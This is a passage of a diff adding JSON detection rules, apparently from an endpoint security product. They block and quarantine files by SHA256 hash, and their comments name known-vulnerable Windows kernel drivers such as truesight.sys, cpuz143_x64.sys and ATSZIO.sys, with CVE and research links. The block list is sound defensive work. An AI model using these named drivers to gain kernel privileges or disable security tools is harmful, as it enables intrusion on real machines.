+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490280Z",
+  "creation_date": "2026-03-23T11:45:31.490282Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f37a48bf6871ed1e58b818be7506e2e05bb403a7dbcde6c785d31bad3c6cf056",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "326edf91-0bab-5535-aaf2-b96e85ca99d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154484Z",
+  "creation_date": "2026-03-23T11:45:31.154486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d29f601fec6ac5fc0ff035113f4b8b1863f34ff60e3f0f2731c515fc0efa36eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "326fe57f-d0c0-5dba-9725-1e342912ffc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824762Z",
+  "creation_date": "2026-03-23T11:45:31.824764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824769Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d175169e3fcebe92b1c6b560d0c160ffe0fa6a826f3a5042b9b2ab140f6aed8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32700161-2505-5d17-9f7c-8026563eecf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146761Z",
+  "creation_date": "2026-03-23T11:45:31.146762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23be2c7ad6e444bbf9c273380d3646ac62a684d37370f378c56ce9ddb9646d2e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32707a4f-1fc3-542f-b935-dc1aff83457d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825341Z",
+  "creation_date": "2026-03-23T11:45:30.825345Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "689f565e874b6d0232bbd946bb3c1e373d634512d1afa0b9ab90d45e507c85ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32825e6b-b9b8-5864-9882-c5f98a7f0eeb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978977Z",
+  "creation_date": "2026-03-23T11:45:29.978979Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978984Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fafa1bb36f0ac34b762a10e9f327dcab2152a6d0b16a19697362d49a31e7f566",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32841b1a-8ca9-5e06-904b-24623b286c5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143260Z",
+  "creation_date": "2026-03-23T11:45:32.143262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1f4949f76d8ac9f2fa844d16b1b45fb1375d149d46e414e4a4c9424dc66c91f",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "328764df-64e0-5924-8b11-b07fd84a4bb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610724Z",
+  "creation_date": "2026-03-23T11:45:29.610726Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aebcbfca180e372a048b682a4859fd520c98b5b63f6e3a627c626cb35adc0399",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3292cc44-dd4e-507b-85e9-70227d33d597",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820752Z",
+  "creation_date": "2026-03-23T11:45:31.820755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820763Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c5426d89f7b6c799c34932e4a611e68ecf84f1d227fc64214e53bd94afc55d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32aab162-ba62-57e7-90ef-1e32670fd2c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833092Z",
+  "creation_date": "2026-03-23T11:45:30.833096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833105Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b133de6cbfcf087f25760800516ffe28457b18925ebc7d162f7c6926fcce4741",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32ab2447-809c-5718-b0cc-7cf94ea5d9ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614787Z",
+  "creation_date": "2026-03-23T11:45:29.614789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c10e2ec4f9ef591415f9a784b93dc9c9cdafa7c69602c0dc860c5b62222e449",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32bcc1dc-18ea-590e-bbed-e62f28d8ae3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812046Z",
+  "creation_date": "2026-03-23T11:45:31.812048Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "461cd721500c149bc6a1051437b75a7848c2cc63f010cb1d9fd6b432afd11b04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32c03f51-a1d8-504a-8713-4313c30de4fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824376Z",
+  "creation_date": "2026-03-23T11:45:31.824379Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824388Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5104b29da9711075558e2197a4e82923dd5dba8ac9e5973954c1ee7215cd427",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32cac183-96fa-513e-97ca-ba91113eda50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820599Z",
+  "creation_date": "2026-03-23T11:45:30.820601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820607Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed3448152bcacf20d7c33e9194c89d5304dee3fba16034dd0cc03a3374e63c91",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32d12ab1-5290-5245-bc54-bc2d9e96abba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820135Z",
+  "creation_date": "2026-03-23T11:45:31.820139Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f3674ad46425d496e246cb95a21df0198bdfa3c259aef6f35dd8f215fb295cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32e366ce-b86d-585d-91f8-16f0206994dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474245Z",
+  "creation_date": "2026-03-23T11:45:30.474248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474257Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2815c91fe5053899593cec83218b8dff85cfd85cea667dbbf2153cbc3cde000f",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32e51e7c-1eb2-51fd-87aa-02d3c07ae84c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809210Z",
+  "creation_date": "2026-03-23T11:45:31.809213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809221Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43e851763ab1b28fa121216cd7ed92525ed9ca3f69abba8b753ba8500620d2e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32e602b9-0718-55d7-8f9d-87c2452e0aae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153506Z",
+  "creation_date": "2026-03-23T11:45:31.153508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ca5aa8d7bb7d926961f1af8ae909780e8e10e16c2f8f118e0c78c635b28cfc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32e8da6d-fe91-5cfa-b846-b18c0a08a01d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809881Z",
+  "creation_date": "2026-03-23T11:45:31.809884Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c435b76b1753a9d778a5030e910519c1617d77fad5811a76936e15b21d69c3f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3312c1a0-08aa-57e0-aefb-5a8f62302e79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151072Z",
+  "creation_date": "2026-03-23T11:45:31.151075Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15d2b157135b3ee811ab5bde67947a29d67e0ebc1646c3dd760bbc2d4996e634",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "331711ad-039d-52e3-8c32-03c38328ef7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612283Z",
+  "creation_date": "2026-03-23T11:45:29.612285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3321e356-33e7-5603-8353-2c12bf63cd68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498973Z",
+  "creation_date": "2026-03-23T11:45:31.498976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498985Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f4084cce01f18932a01239b1501b6707ca60642293e54b50c59b050f28da6d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "332dccb2-8bc4-52b8-b97c-659a72ab043e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983175Z",
